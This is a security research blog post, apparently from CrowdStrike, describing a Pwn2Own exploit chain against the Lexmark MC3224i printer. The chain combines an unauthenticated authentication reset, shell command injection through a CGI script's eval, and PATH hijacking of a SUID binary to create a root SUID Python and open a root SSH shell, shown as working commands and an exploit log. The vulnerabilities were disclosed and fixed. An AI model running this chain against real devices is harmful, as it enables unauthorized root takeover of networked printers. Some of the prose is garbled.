How to compromise a printer in three easy steps

[*]

In August 2021, ZDI Announced Pwn2Own Austin 2021, a security contest focused on phones, printers, NAS devices, and smart speakers, among others. The Pwn2Own competition encourages security researchers to demonstrate remote zero-day exploits against a list of specified devices. If successful, the researchers are rewarded with a cash prize and the exploited vulnerabilities are responsibly disclosed to the respective vendors so that they can improve the security of their products.

After reviewing the list of devices, we decided to target the Cisco RV340 router and the Lexmark MC3224i printer, and we managed to identify several vulnerabilities in both. Luckily we were luckier than last year and were able to participate in the competition for the first time. By successfully operating both devices, we earned $20,000, which CrowdStrike donated to several charities chosen by our researchers.

In this blog post, we describe the vulnerabilities that we discovered and used to compromise the Lexmark printer.

Insight

Product Lexmark MC3224
Affected Firmware Versions
(without claiming to be exhaustive)
CXLBL.075.272 (2021-07-29)
CXLBL.075.281 (2021-10-14)
Fixed firmware version CXLBL.076.294 (CVE-2021-44735)

Note: Users must implement a workaround to fix CVE-2021-44736, see Lexmark Security Alert

CVE CVE-2021-44735 (Shell Command Injection)
CVE-2021-44736 (Authentication reset)
Root causes Authentication Bypass, Shell Command Injection, Insecure SUID Binary
Impact Unauthenticated Remote Code Execution (RCE) as root
Researchers Hanno Heinrichs, Lukas Kupczyk
Lexmark Resources https[:]//publications.lexmark[.]com/publications/security-alerts/CVE-2021-44735.pdf
https[:]//publications.lexmark[.]com/publications/security-alerts/CVE-2021-44736.pdf

Step 1: Increase Attack Surface by Resetting Authentication

Before we could begin our analysis, we first had to obtain a copy of the firmware. It quickly turned out that the firmware comes as .fls file in a custom binary format containing encrypted data. Fortunately, detailed writing on the encryption scheme had been published in September 2020. Although the write-up does not include any cryptographic code or keys, it was elaborate enough that we could reproduce it quickly and write our own decryptor. With our firmware decryption tool handy, we were finally able to peek into the firmware.

It was assumed that the printer would be in a default configuration during the contest and that the printer setup wizard had been completed. Thus, we expected the admin password to be set to an unknown value. In this state, unauthenticated users can still trigger a lot of actions through the web interface. One of them is Clean all information on non-volatile memory. It is under Settings -> Device -> Maintenance. You have several options to choose from when performing this action:

[x] Sanitize all information on nonvolatile memory
  (x) Start initial setup wizard
  ( ) Leave printer offline
[x] Erase all printer and network settings
[x] Erase all shortcuts and shortcut settings

[Start] [Reset]

If the boxes are checked as shown, the process can be started via the Begin button. The printer’s non-volatile memory is cleared and a reboot is initiated. This process takes about two minutes. Thereafter, unauthenticated users can access everything Works through the web interface.

Step 2: Shell command injection

After resetting the nvram as shown in the previous section, the CGI script https://target/cgi-bin/sniffcapture_post becomes accessible without authentication. It was previously discovered by browsing the decrypted firmware and is located in the directory /usr/share/web/cgi-bin.

At the start of the script, the provided POST body is stored in the variable Data. Subsequently, several other variables such as interface, dest, path and filter are extracted and populated from this data using sed:

read data

remove=${data/*-r*/1}
if [ "x${remove}" != "x1" ]; then
    remove=0
fi
interface=$(echo ${data} | sed -n 's|^.*-i[[:space:]]([^[:space:]]+).*$|1|p')
dest=$(echo ${data} | sed -n 's|^.*-f[[:space:]]([^[:space:]]+).*$|1|p')
path=$(echo ${data} | sed -n 's|^.*-f[[:space:]]([^[:space:]]+).*$|1|p')
method="startSniffer"
auto=0
if [ "x${dest}" = "x/dev/null" ]; then
    method="stopSniffer"
elif [ "x${dest}" = "x/usr/bin" ]; then
    auto=1
fi
filter=$(echo ${data} | sed -n 's|^.*-F[[:space:]]+(["])(.*)1.*$|2|p')
args="-i ${interface} -f ${dest}/sniff_control.pcap"

The variable filter is determined by a quoted string following the value -F specified in the POST body. As shown below, it is then integrated into the args variable if it was specified with an interface:

fmt=""
args=""
if [ ${remove} -ne 0 ]; then
    fmt="${fmt}b"
    args="${args} remove 1"
fi
if [ -n "${interface}" ]; then
    fmt="${fmt}s"
    args="${args} interface ${interface}"
    if [ -n "${filter}" ]; then
        fmt="${fmt}s"
        args="${args} filter "${filter}""
    fi
    if [ ${auto} -ne 0 ]; then
        fmt="${fmt}b"
        args="${args} auto 1"
    else
        fmt="${fmt}s"
        args="${args} dest ${dest}"
    fi
fi
[...]

At the end of the script, the result args the value is used in a eval statement:

[...]
resp=""
if [ -n "${fmt}" ]; then
    resp=$(eval rob call system.sniffer ${method} "{${fmt}}" ${args:1} 2>/dev/null)
    submitted=1
[...]

By controlling the filter variable, so attackers can inject other shell commands and access the printer like uid=985(httpd)which is the user under which the web server is running.

Step 3: Privilege Escalation

The printer provides a custom root-owned SUID binary called collect-selogs-wrapper:

# ls -la usr/bin/collect-selogs-wrapper
-rwsr-xr-x. 1 root root 7324 Jun 14 15:46 usr/bin/collect-selogs-wrapper

In his main() function, the efficient the user id (0) is retrieved and the process real the user ID is set to this value. Then the shell script /usr/bin/collect-selogs.sh is executed:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __uid_t euid; // r0

  euid = geteuid();
  if ( setuid(euid) )
    perror("setuid");
  return execv("/usr/bin/collect-selogs.sh", (char *const *)argv);
}

This is because the shell script is run as root with UID=EUID, and therefore the shell does not remove privileges. Otherwise, argv[] SUID binary is passed to the shell script. As environment variables are also persisted execv() call, an attacker is able to specify a $PATH assess. Any command inside the shell script that is not referenced by its absolute path can thus be hijacked by the attacker.

The first opportunity for such an attack is the invocation of systemd-cat on the inside sd_journal_print():

# cat usr/bin/collect-selogs.sh
#!/bin/sh
# Collects fwdebug from the current state plus the last 3 fwdebug files from
# previous auto-collections. The collected files will be archived and compressed
# to the requested output directory or to the standard output if the output
# directory is not specified.

sd_journal_print() {
    systemd-cat -t collect-selogs echo "$@"
}

sd_journal_print "Start! params: '$@'"

[...]

The /dev/shm directory can be used to prepare a malicious version of systemd-cat:

$ cat /dev/shm/systemd-cat
#!/bin/sh
mount -o remount,suid /dev/shm
cp /usr/bin/python3 /dev/shm
chmod +s /dev/shm/python3
$ chmod +x /dev/shm/systemd-cat

This script goes back /dev/shm with the suid flag so that SUID binaries can be run from it. It then copies the system’s Python interpreter to the same directory and sets the SUID bit there. The mischievous systemd-cat the copy can be run as root by calling the setuid collect-setlogs-wrapper binary like this:

$ PATH=/dev/shm:$PATH /usr/bin/collect-selogs-wrapper

The $PATH the environment variable is preceded by the /dev/shm directory that hosts the malware systemd-cat copy. After running the command, a SUID copy belonging to the root of the Python interpreter is in /dev/shm:

root@ET788C773C9E20:~# ls -la /dev/shm
drwxrwxrwt    2 root     root           100 Oct 29 09:33 .
drwxr-xr-x   13 root     root          5160 Oct 29 09:31 ..
-rwsr-sr-x    1 root     httpd         8256 Oct 29 09:33 python3
-rw-------    1 nobody   nogroup         16 Oct 29 09:31 sem.netapps.rawprint
-rwxr-xr-x    1 httpd    httpd           96 Oct 29 09:33 systemd-cat

The idea behind this technique is to establish a simple way to increase privileges without having to exploit the collect_selogs_wrapper SUID again. We didn’t use the Bash binary for this, because the version that ships with the printer seems to ignore the -p flag when running with UID!=EUID.

To exploit

An exploit combining the three vulnerabilities to achieve unauthenticated code execution as root has been implemented as a Python script. First, the exploit tries to determine if the printer has a login password set (i.e. the setup wizard is complete) or if it is passwordless (i.e. i.e. the authentication reset has already been executed earlier or the configuration wizard has not yet been completed). Depending on the result, it decides whether resetting the nonvolatile memory is necessary.

If the nonvolatile memory reset is triggered, the exploit waits for the printer to finish rebooting. Then it continues with the shell command injection step and increase in privileges. Privileged access is then used to start an OpenSSH daemon on the printer. Finally, the exploit establishes an interactive SSH session with the printer and passes control to the user. Here is an example of running the exploit in a test environment:

$ ./mc3224i_exploit.py https://10.64.23.20/ sshd
[*] Probing device...
[+] Firmware: CXLBL.075.281
[+] Acceptable login methods: ['LDAP_DEVICE_REALM',        
    'LOGIN_METHODS_WITH_CREDS']
[*] Device IS password protected, auth bypass required
[*] Erasing nvram...
[+] Success! HTTP status: 200, rc=1
[*] Waiting for printer to reboot, sleeping 5 seconds...
[*] Checking status...
xxxxxxxxxxxxxxxxxxxxxxx!
[+] Reboot finished
[*] Probing device...
[+] Firmware: CXLBL.075.281
[+] Acceptable login methods: ['LDAP_DEVICE_REALM']
[*] Device IS NOT password protected
[+] Authentication bypass done
[*] Attempting to escalate privileges...
[*] Executing command (root? False):
    echo -e '#!/bin/shn
    mount -o remount,suid /dev/shmn
    cp /usr/bin/python3 /dev/shmnchmod +s /dev/shm/python3' >
    /dev/shm/systemd-cat; chmod +x /dev/shm/systemd-cat
[+] HTTP status: 200
[*] Executing command (root? False): PATH=/dev/shm:$PATH /usr/bin/collect-selogs-wrapper
[+] request timed out, that’s what we expect
[+] SUID Python interpreter should be created
[*] Attempting to enable SSH daemon...
[*] Executing command (root? True):
sed -Ee 's/(RSAAuthentication|UsePrivilegeSeparation|UseLogin)/#1/g'
    -e 's/AllowUsers guest/AllowUsers root guest/'
    /etc/ssh/sshd_config_perf > /tmp/sshconf;
    mkdir /var/run/sshd;
    iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT;
    nohup /usr/sbin/sshd -f /tmp/sshconf &
[+] HTTP status: 200
[+] SSH daemon should be running
[*] Trying to call ssh... ('ssh', '-i', '/tmp/tmpd2vc5a2u', 'root@10.64.23.20')
root@ET788C773C9E20:~# id
uid=0(root) gid=0(root) groups=0(root)

Summary

In this blog, we have described a number of vulnerabilities that can be exploited from the local network to bypass authentication, execute arbitrary shell commands, and elevate privileges on a Lexmark MC3224i printer. The search started as an experiment after the announcement of Pwn2Own Austin 2021. The team enjoyed the challenge, as well as participating in Pwn2Own for the first time, and we appreciate your feedback. We would also like to invite you to learn more about the other device we successfully targeted during Pwn2Own Austin 2021, the Cisco RV340 Router.

Additional Resources

Comments are closed.